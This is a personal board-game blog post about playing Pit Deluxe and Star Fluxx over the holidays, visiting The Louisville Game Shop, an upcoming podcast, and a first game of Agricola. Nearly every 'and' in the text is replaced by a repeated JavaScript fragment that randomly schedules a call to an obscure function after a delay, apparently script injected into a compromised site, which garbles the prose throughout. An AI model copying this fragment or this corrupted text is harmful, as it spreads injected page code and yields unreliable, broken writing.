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Hope everyone had a wonderful holiday andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and got some good games. As mentioned in our first podcast, I did receive the games Pit Deluxe (the bell makes it) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Star Fluxx for Christmas. Family played Pit andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they really enjoyed, so was happy on requesting as a present. For those of you not familiar with it, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and based on the person who got it, that is a bunch of people in stores, it is a game where you trade cards blindly by saying out loud how many cards you want (up to four) in hopes someone will trade with you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and try andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and get 9 that match. When you get nine that match, ring the bell andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you score the points in the upper right corner of the card. First person to 500 points or whatever level you set, is the winner. There are “wild” cards in the game that a little bit more strategy, the Bear andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Bull. The Bear is like the Old Maid andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and if in your handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and when the bell is rung, it is -20 points. The Bull is a wild andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can represent a single commodity in your handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to make your nine matching set. However, if the bell rings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you didn’t ring it, then it is also a -20 points. I will have to admit, playing without the Bear or Bull would probably not make the game as much fun. Like I said, family enjoyed it, however played with some people andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and most everyone liked it. The shouting out just wasn’t that enjoyable for some andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that.

Star Fluxx, which can be viewed on Table Top with Wil Wheaton, was played once with my daughter andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and got a thumbs sort of up. Not sure why, it was fast andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and she won, but it didn’t hold her attention. Haven’t had the chance to play it again, but hope to get chance tomorrow.

We are on our vacation we take this time of year at a friends. We play games, go hiking, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and just have a very relaxing time. We are currently getting snow, so might get another opportunity to write about some more game experiences tomorrow. Looks like the annual Disc Golf outing may be in trouble though. However, did get to visit a new game store (The Louisville Game Shop) before the snow andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and talked to the owner. He had a great selection of minis andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and games andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a very nice setup.

As Marty said, next podcast should be out next week andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we will get #3 out the door as his schedule allows. He takes on the editing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and producing, all I have to do is talk.

Merry Christmas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Happy Gaming!

We hope everyone has a great Christmas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and holiday season. Our next episode will be posted Jan 2nd. with a new Casual Corner andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a look back at gaming in 2012.

Finally, I got to play Agricola

Last night I was at our local gaming club (QCGC) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and had the opportunity to play Agricola. Blasphemy I know. I can hear the comments now “And you call yourself a gamer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and never played one of the primer resource games.” Well, to be honest, I have been playing with the idea of getting the game for over two years, but wasn’t sure it would fit my group. So, I wanted to play it first andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I never had the chance until now. Wow, let me say that I am glad I waited on this purchase. Great game andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and look forward to playing it again, but if I owned it, it would stay on the shelf unfortunately. The theme was great andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mechanics were easy to follow, but for my group, there are too many options which would lock them down. I can just see me mentioning all the strategy options andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and seeing “deer in headlight” looks coming back at me. I am so glad I got to play this game, look forward to playing it again, but doubt I will be able to add it to my shelf.